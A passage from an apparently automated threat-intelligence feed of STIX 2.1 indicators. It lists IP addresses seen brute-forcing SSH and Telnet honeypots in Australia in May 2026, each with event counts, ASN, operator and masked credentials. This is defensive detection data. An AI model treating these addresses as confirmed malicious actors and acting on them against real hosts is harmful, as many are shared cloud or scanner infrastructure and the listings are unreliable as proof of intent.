      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********8, H**********************3.",
      "id": "indicator--938455df-993b-4c33-9157-d63faaeee893",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.76.1.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--1357ba63-00a6-4302-ae6d-ae89cd09857a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.190.195.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, 1**********0, 1**********F, 2**5.",
      "id": "indicator--c83545d6-0a3a-45d3-9a83-2e520ffc7e00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.208.147.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ec6fb90d-ec91-43b0-9143-b816fc7b95e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--568d6fd0-0c16-494d-9205-3633aa52369d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 57269. Organisation(s): Digi Spain Telecom S.A. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, 1******a, 1********t, C*********7.",
      "id": "indicator--3cdcb8bd-3b53-4371-8d3c-9950ea2a71fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.112.49.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--88164b7b-2876-4a55-9380-e7268264ff98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.186.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--552bdb2f-cc65-454b-a341-27b1c83f67dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.232.136.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 200845. Organisation(s): Avatel Telecom, SA.",
      "id": "indicator--c8113465-2b6d-4427-a271-cdba8aab2ed5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.107.108.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:15:11.000Z",
      "valid_until": "2026-06-15T06:15:08.000Z"
    },
    {
      "created": "2026-05-14T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 60602. Organisation(s): Inovare-Prim SRL.",
      "id": "indicator--4b289ec8-66e4-4694-91f1-93a2d7e08cc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.16.177.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:15:11.000Z",
      "valid_until": "2026-06-15T06:15:08.000Z"
    },
    {
      "created": "2026-05-14T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, j******n, 3**********4, **, d**o. Passwords observed (masked): 1****6, ***, 3***********4, 3**********4, 3******Z.",
      "id": "indicator--552dabdb-fdb1-42f5-bbed-6b81950a72d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.1.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:15:11.000Z",
      "valid_until": "2026-06-15T06:15:08.000Z"
    },
    {
      "created": "2026-05-14T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--0aa84f0b-d701-48fc-970c-c3de85cb9d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.56.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:15:11.000Z",
      "valid_until": "2026-06-15T06:15:08.000Z"
    },
    {
      "created": "2026-05-14T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8bd22ff9-54e9-4f39-b7ab-21c577476aa3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.77.195.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:15:11.000Z",
      "valid_until": "2026-06-15T06:15:08.000Z"
    },
    {
      "created": "2026-05-14T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--b622f169-5cce-47ee-a033-01ad9de2e06f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.240.47.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:15:11.000Z",
      "valid_until": "2026-06-15T06:15:08.000Z"
    },
    {
      "created": "2026-05-14T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--8f9639c0-33d5-4fcc-b435-1b2358ec1dc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.187.118.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:15:11.000Z",
      "valid_until": "2026-06-15T06:15:08.000Z"
    },
    {
      "created": "2026-05-14T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1985. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, g***t, a***n, u****u, j*****s. Passwords observed (masked): 1****6, p******d, P******d, p******d, ***.",
      "id": "indicator--08180ff2-daef-4680-8609-1983706a0353",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:15:11.000Z",
      "valid_until": "2026-06-15T06:15:08.000Z"
    },
    {
      "created": "2026-05-14T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--9945fd9a-9f71-439a-81c9-39fe18a4037c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.81.85.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:15:11.000Z",
      "valid_until": "2026-06-15T06:15:08.000Z"
    },
    {
      "created": "2026-05-14T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--0de57ae0-08fa-42b7-ab4f-a75ebd8b1ff8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.60.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T07:15:11.000Z",
      "valid_until": "2026-06-15T07:15:08.000Z"
    },
    {
      "created": "2026-05-14T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 211908. Organisation(s): Horizon Scope Mobile Telecom WLL.",
      "id": "indicator--12be3d42-483f-477e-9bca-c580ad074130",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.157.178.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T07:15:11.000Z",
      "valid_until": "2026-06-15T07:15:08.000Z"
    },
    {
      "created": "2026-05-14T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--4134c847-12f2-4142-b576-816eaf567c3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.93.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T07:15:11.000Z",
      "valid_until": "2026-06-15T07:15:08.000Z"
    },
    {
      "created": "2026-05-14T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 30399. Organisation(s): Host-Engine.com.",
      "id": "indicator--19cf76e3-57af-460b-a1b6-1cbab34ef91c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.131.184.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T07:15:11.000Z",
      "valid_until": "2026-06-15T07:15:08.000Z"
    },
    {
      "created": "2026-05-14T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8bc4ad77-5139-4414-a1fc-ff692b1196e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.126.211.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T07:15:11.000Z",
      "valid_until": "2026-06-15T07:15:08.000Z"
    },
    {
      "created": "2026-05-14T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--d0f3a592-bd44-417e-96b9-df618f5db136",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.55.224.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T07:15:11.000Z",
      "valid_until": "2026-06-15T07:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ac74d5cc-a91b-47bf-9c24-96c382adbdea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.204.10.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--1b44201a-9941-486b-839b-df376bd080aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.62.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--47dd516a-84e0-4b62-beaa-9e0ba29abb72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.225.136.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270257. Organisation(s): NETFSA BANDA LARGA.",
      "id": "indicator--ce49499b-c208-4886-8975-44b25fc4df94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.108.176.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 55685. Organisation(s): PT Jala Lintas Media.",
      "id": "indicator--70e44f2e-8dbb-4a72-af19-17ae8f675ce1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.51.197.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 22. Source country: PL. ASN(s): 210895. Organisation(s): Podaon SIA.",
      "id": "indicator--1e221312-6913-4cf4-8888-1ab4a76210cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.162.155.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: LY. ASN(s): 37566. Organisation(s): ICONA-AS.",
      "id": "indicator--14c0e316-485a-4f44-95ed-9a2c986c2a9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.242.30.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp.",
      "id": "indicator--e43f4032-c19f-4256-913e-efe3319806d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.95.233.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): G************1, U*********************1. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--1df85a33-e320-476e-b93d-f2654f4ff116",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.245.30.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 212238. Organisation(s): Datacamp Limited.",
      "id": "indicator--1ec494bc-c78a-441e-b4f3-824dff4473dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.183.101.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:15:10.000Z",
      "valid_until": "2026-06-15T08:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LA. ASN(s): 213516. Organisation(s): Dinglu Co., Limited.",
      "id": "indicator--b2bd63ee-38d8-42fc-931e-fec4d34d4004",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.205.17.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--cb976697-8cd9-47b3-b59c-b3a2397e5e55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.96.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:15:11.000Z",
      "valid_until": "2026-06-15T09:15:08.000Z"
    },
    {
      "created": "2026-05-14T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f7804fcc-0c4c-42bc-8557-146c6b90b99d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.66.228.247']",
      "pattern_type": "stix",
